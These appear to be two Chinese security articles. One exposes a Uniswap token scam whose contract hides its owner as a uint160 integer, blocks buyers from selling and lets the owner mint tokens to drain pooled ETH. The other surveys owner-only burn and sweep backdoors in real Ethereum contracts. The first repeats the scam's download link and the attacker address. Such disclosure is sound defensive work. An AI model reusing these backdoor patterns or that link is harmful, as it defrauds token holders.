1Full open source code----only for research and testing, don't cheat using this method作者特别提醒:完全开放源码----仅用于研究和测试,不要使用这种方法作弊。
教程中提到合约代码可以在如下链接下载
12Click to enter edit mode and copy the code into it(download address of the contract code:https://wwr.lanzous.com/i4MJOg6f2rg)根据教程提供的链接,下载代码查看
首先看到
onlyOwner
函数,而且条件判断中的address是硬编码的,这里说一下以太坊中的地址- 以太坊地址
以太坊中的地址的长度为20字节,一字节等于8位,一共160位,所以address其实亦可以用uint160来声明。以太坊钱包地址是以16进制的形式呈现,我们知道一个十六进制的数字占4位,160 / 4 = 40,所以钱包地址ca35b7d915458ef540ade6068dfe2f44e8fa733c的长度为40。
很明显,攻击者特意使用uint160来编码地址,起到了障眼法作用。如果不认真看,不会注意到这个address函数转换后的地址。
通过对地址进行转换
即:
address(724621317456347144876435459248886471299600550182)
对应地址:0x7eed24C6E36AD2c4fef31EC010fc384809050926
,这个地址即位合约实际控制账户地址。继续往下看原文教程
首先部署合约
然后添加到
Uniswap v1
资金池这里介绍下
Uniswap
- Uniswap V1
Uniswap V1基于以太坊区块链为人们提供去中心化的代币兑换服务。Uniswap V1提供了ETH以及ERC20代币兑换的流动性池,它具有当前DeFi项目中最引人注目的去中心化、无须许可、不可停止等特性。
Uniswap V1实现了一种不需要考虑以上特点的去中心化交易所。它不需要用户进行挂单(没有订单),不需要存在需求重叠,可以随买随卖。得益于 ERC20 代币的特性,它也不需要用户将资产存入特定的账户。Uniswap V1模型的优点在于根据公式自动定价,通过供需关系实现自动调价。
Uniswap V1的运行机制的关键在于建立了供给池,这个供给池中存储了 A 和 B 两种货币资产。用户在用 A 兑换 B 的过程中,用户的 A 会发送到供给池,使供给池中的 A 增多,同时,供给池的 B 会发送给用户。这里的关键的问题在于如何给 A 和 B 的兑换提供一个汇率(定价)。 Uniswap V1定价模型非常简洁,它的核心思想是一个简单的公式 x * y = k 。其中 x 和 y 分别代表两种资产的数量,k 是两种资产数量的乘积。
假设乘积 k 是一个固定不变的常量,可以确定当变量 x 的值越大,那么 y 的值就越小;相反 x 的值越小,y 的值就越大。据此可以得出当 x 被增大 p 时,需要将 y 减少 q 才能保持等式的恒定。 为了做一些更实用的工作,将 x 和 y 替换为货币储备金的储备量,这些储备金将被存储在智能合约中。
即用户可以把部署的合约可以添加到
Uniswap V1
中,通过充入资产提供流动性,获得该资金池(交易对)产生的交易手续费分红,过程完全去中心化、无审核上币。接着
1You don't have to worry that you will lose money, because other people can only buy and can't sell it in this contract. When the trading pair is created, you can change for another wallet (the wallet address of the contract can be bought and sold) to buy it, and then test whether it can be sold. Here's the information for selling`这是为什么?看看代码
合约代币101行,
require(allow[_from] == true)
,即转账地址from
需要在allow
这个mapping中为布尔值true
。而修改
allow
在addAllow
函数中,且需要合约Owner
权限。通过合约
Ownable
代码第13行可知,onlyOwner
属性中,只有地址为724621317456347144876435459248886471299600550182
即前面提到的0x7eed24C6E36AD2c4fef31EC010fc384809050926
用户可以通过校验,而且是硬编码。这也是原文攻击者为什么使用了以太坊地址的uint160格式来编码地址,而不是直观的十六进制地址。最终部署的合约SoloToken直接继承了
Ownable
合约即只要用户部署该合约,合约
Owner
权限都在攻击者0x7eed24C6E36AD2c4fef31EC010fc384809050926
手中。攻击者可以随时转移合约权限。在教程中攻击者还提到
如果你想吸引买家,资金池必须足够大,如果只投入1-2个ETH,其他人将无法购买它,因为基金池太小。即希望部署合约的用户在资金池中添加更多的eth数量。攻击者为什么要单独
Notice
呢?合约代码第124行,
mint
函数,Owner
权限用户可以直接增发代币。这是合约最关键部分。即攻击者可以直接在合约中给指定地址增发代币,然后利用增发得来的代币去Uniswap V1
直接兑换合约部署用户存放在Uniswap V1
资金池中的eth
。这也是为啥教程作者着重提示多添加eth
数量的根本原因。截止目前,攻击者地址
0x7eed24C6E36AD2c4fef31EC010fc384809050926
中已经获利大约36eth
。总结
Uniswap
因无需订单薄即可交易的模型创新引来赞誉,也因投机者和诈骗者的涌入遭到非议,在业内人士看来,Uniswap
的自动做市商机制有着特别的价值,作恶的不是Uniswap
,但恶意与贪婪正在这个去中心化协议中一览无余。流动性挖矿点燃DeFi烈火,火势烧到去中心化交易所Uniswap。它凭借支持一键兑币、做市可获手续费分红,迅速成为最炙手可热的DeFi应用之一。
财富故事在这里上演,某个新币种可能在一天之内制造出数十倍的涨幅,让参与者加快实现「小目标」;泡沫和罪恶也在此滋生,完全去中心化、无审核上币,让Uniswap成了人人可发币割韭菜的温床。
DeFi
作为当下区块链热门话题,很容易吸引人们的注意。攻击者利用人们贪图便宜的好奇心理。使用所谓的uniswap-defi项目漏洞
教程一步一步带用户入坑。以当下区块链中最火的DeFi
类为主题,分享了揭秘uniswap-defi项目漏洞-割韭菜新手法
教程。如果用户不注意看合约代码,很容易掉入攻击者精心构造的陷阱中去。成为真正的韭菜
。REF
[1] UNISWAP issuing tokens-enhancing tokens (consumers can only buy but can not sell)
https://note.youdao.com/ynoteshare1/index.html?id=a41d926f5bcbe3f69ddef765ced5e27b&type=note?auto
[2] 代币合约
https://wwr.lanzous.com/i4MJOg6f2rg
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1323/
-
智能合约中的那些后门漏洞
作者:Al1ex @ 知道创宇404区块链安全研究团队
时间:2020年8月20日前言
智能合约的概念可以追溯到1994年,由Nick Szabo提出,但直到2008年才出现采用智能合约所需的区块链技术,而最终于2013年,作为以太坊智能合约系统的一部分,智能合约首次出现。
智能合约包含了有关交易的所有信息,只有在满足要求后才会执行结果操作,智能合约和传统纸质合约的区别在于智能合约是由计算机生成的,因此,代码本身解释了参与方的相关义务,与此同时,用户可以根据规则开发自己想要的智能合约。
而随着智能合约普及,合约的安全问题也引起了众多合约开发者和安全研究人员关注,比较典型的就是随之建立的DASP Top10( https://www.dasp.co/)。近期,笔者在对一些智能合约进行代码审计时发现有很多合约存在可疑的后门漏洞,具备特殊权限的地址用户(合约的owner)或合约账号具备控制用户资产的权限,可对任意用户的资产进行销毁操作,本文将对此进行简要分析。近期,笔者在对一些智能合约进行代码审计时发现有很多合约存在可疑的后门漏洞,具备特殊权限的地址用户(合约的owner)或合约账号具备控制用户资产的权限,可对任意用户的资产进行销毁操作,本文将对此进行简要分析。
函数漏洞
burn()
合约地址:https://etherscan.io/address/0x705051bbfd9f287869a412cba8bc7d112de48e69#code
利用条件:合约的owner权限
漏洞代码:
漏洞分析:如上图所示在智能合约中提供了burn函数,该函数主要用于销毁其它地址的token,当要销毁的token数量小于目标账户所拥有的token值时就可以成功销毁目标账户的token,且这里的地址可以指定为任意用户的地址,所以只要我们能够调用该函数即可通过赋予_ from为任意地址账户,_ unitAmout为任意数量(不超过from账户拥有的数量)就可以销毁_from账户的代币,下面我们再来看一下此处对于函数调用者身份限定的修饰器—onlyOwner
由以上代码可知,当函数的调用者为合约的owner地址账户时可以销毁任意地址用户的代币,甚至将其归0
burnFrom()
合约地址:https://etherscan.io/address/0x365542df3c8c9d096c5f0de24a0d8cf33c19c8fd#code
利用条件:合约的owner,同时mintingFinished为"False"
漏洞代码:
漏洞分析:如上图所示合约中的burnFrom函数用于销毁代币,但是该函数只能被合约的owner调用,而且由于地址参数可控故合约的owner可以操控任意地址用户的代币,销毁任意地址用户任意数量的代币(数量小于等于用户代币总量),由于该函数被canMint修饰,所以查看一下该修饰器
之后通过"Read Contract"来查看当前"mintingFinished"的值:
可以看到"mintingFinished"为"False",即满足"canMint"修饰器条件,所以此时的burnFrom函数可被合约的owner调用来操控任意用户的代币。
burnTokens
合约地址:https://etherscan.io/address/0x662abcad0b7f345ab7ffb1b1fbb9df7894f18e66#code
利用条件:合约的owner权限
漏洞代码:
漏洞分析:如上图所示,burnTokens用于销毁用户的代币,由于销毁的地址参数、销毁的代币数量都可控,所以合约的调用者可以销毁任意用户的代币,但是该函数只能被合约的ICO地址用户调用,下面跟踪一下该账户看看其实现上是否可以
从上面可以看到合约在初始化是对icoContract进行了赋值,下面通过etherscan.io中的readcontract溯源一下:
之后再次进入icoContract中跟踪是否可以成功调用:
从代码中可以看到burnTokens(关于修饰器的跟踪分析与之前类似,这里不再赘述):
这里的cartaxiToken即为之前的合约地址:
同时发现存在调用的历史记录:https://etherscan.io/tx/0xf5d125c945e697966703894a400a311dc189d480e625aec1e317abb2434131f4
destory()
合约地址:https://etherscan.io/address/0x27695e09149adc738a978e9a678f99e4c39e9eb9#code
利用条件:合约的owner权限
漏洞代码:
如上图所示,在智能合约当中提供了destory函数,用于销毁目标账户的代币,在该函数当中增加了对msg.sender、accountBalance的判断,从整个逻辑上可以看到主要有两种销毁途径:
- 途径一:合约的owner赋予allowManuallyBurnTokens为"true"的条件下,地址账户自我销毁自己的代币
- 途径二:无需allowManuallyBurnTokens为"true"的条件,合约的owner销毁任意地址用户的代币
自然,途径一自我销毁代币合情合理,但是途径二却导致合约的owner可以操控任意地址用户的代币,例如:销毁地址用户的所有代币,导致任意地址用户的代币为他人所操控,这自然不是地址用户所期望的。
destroyTokens()
合约地址:https://etherscan.io/address/0xf7920b0768ecb20a123fac32311d07d193381d6f#code
利用条件:Controller地址账户
漏洞代码:
如上图所示,destroyTokens函数用于销毁代币,其中地址参数可控,在函数中只校验了销毁地址账户的代币是否大于要销毁的数量以及当前总发行量是否大于要销毁的数量,之后进行更新代币总量和地址账户的代币数量,不过该函数有onlyController修饰器进行修饰,下面看以下该修饰器的具体内容:
之后通过ReadContract可以看到该controller的地址:
之后再Etherscan中可以查看到该地址对应的为一个地址账户,故而该地址账户可以操控原合约中的任意地址用户的代币:
destroyIBTCToken
合约地址:https://etherscan.io/address/0xb7c4a82936194fee52a4e3d4cec3415f74507532#code
利用条件:合约的owner
漏洞代码:
如上图所示合约中的destroyIBTCToken是用于销毁IBTCToken的,但是由于该函数只能被合约的owner调用,而且要销毁的地址参数to可控,所以合约的owner可以传入任意用户的地址作为参数to,之后销毁任意地址账户的代币,onlyOwner修饰器如下所示:
melt()
合约地址:https://etherscan.io/address/0xabc1280a0187a2020cc675437aed400185f86db6#code
利用条件:合约的owner
漏洞代码:
漏洞分析:如上图所示合约中的melt函数用于销毁代币的token,且该函数只能被合约的CFO调用,同时由于地址参数dst可控,故合约的CFO可以销毁任意地址用户的代币,onlyCFO修饰器代码如下所示
onlyCFO修饰器中的_cfo由构造函数初始化:
Sweep()
合约地址:https://etherscan.io/address/0x4bd70556ae3f8a6ec6c4080a0c327b24325438f3#code
利用条件:合约的owner,同时mintingFinished为"False"
漏洞代码:
如上图所示,合约中的sweep函数用于转发代币,该函数只能被合约的owner调用,在L167行优先通过allowance进行授权操作代币的操作,之后调用transferFrom函数,并在transferFrom函数中做了相关的减法操作,由此抵消授权操作代币:
之后紧接着又调用了_transfer函数:
在transfer函数中判断转账地址是否为空、进行转账防溢出检查、进行转账操作,通过以上逻辑可以发现由于sweep中的地址参数 _ from、_to可控,而且该函数只能被合约的owner调用,所以合约的owner可以通过该函数操控任意用户的balance,并且将其转向任意用户的地址或者自己的地址。
zero_fee_transaction
合约地址: https://etherscan.io/address/0xD65960FAcb8E4a2dFcb2C2212cb2e44a02e2a57E#code
利用条件:合约的owner
漏洞代码:
漏洞分析:在智能合约中常见的转账方式大致有2种,一种是直接转账,例如常见的Transfer函数,该函数有两个参数,一个指定代币接受的地址,另一个为转账的额度,例如:
另外一种为授权其他用户代为转账,这里的其他用户类似于一个中介媒介的作用,其他用户可以对授权用户授予的资金额度进行操作,常见的也是transfer函数,不过参数个数不同而已,其中有三个参数,一个为代为转账的地址,一个为接受代币的地址,一个为接受代币的数量,例如:
了解了常见的两种转账方式,下面我们回过头来看一下漏洞代码:
可以看到在函数zero_fee_transaction中进行了以下判断:
1、判断的当前代为转账的额度是否大于当前转账的数量
2、判断当前转账的数量是否大于0
3、防溢出检查
可以发现这里未对当前函数调用者是否具备授权转账进行检查(暂时忽略onlycentralAccount修饰器)以及授权额度进行检查,只对转账额度以及是否溢出进行了检查,显然这里是存在问题的,而且该函数没有修饰词进行修饰,故默认为public,这样一来所有人都可以调用该函数,在这里我们可以看到在不管修饰器onlycentralAccount的情况下我们可以传递任意地址账户为from、任意地址账户为to、以及任意数量(需要小于from地址账户的代币数量),之后即可无限制的从from地址账户转代币到to账户,直到from地址的代币数量归0。
下面我们看一下onlycentralAccount修饰器对于函数调用者的身份限定:
之后搜索central_account发现central_account由函数set_centralAccount进行赋值操作,此处的修饰器为onlyOwner:
之后查看onlyOwner修饰器可以看到此处需要msg.sender为owner,即合约的owner,在构造函数中进行初始化:
文末小结
智能合约主要依托于公链(例如:以太坊)来发行代币并提供代币的转账、销毁、增发等其它逻辑功能,但用户的代币理应由用户自我进行控制(通过交易增加或减少),并由用户自我决定是否销毁持币数量,而不是由合约的owner或其他特殊的地址账户进行操控。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1300/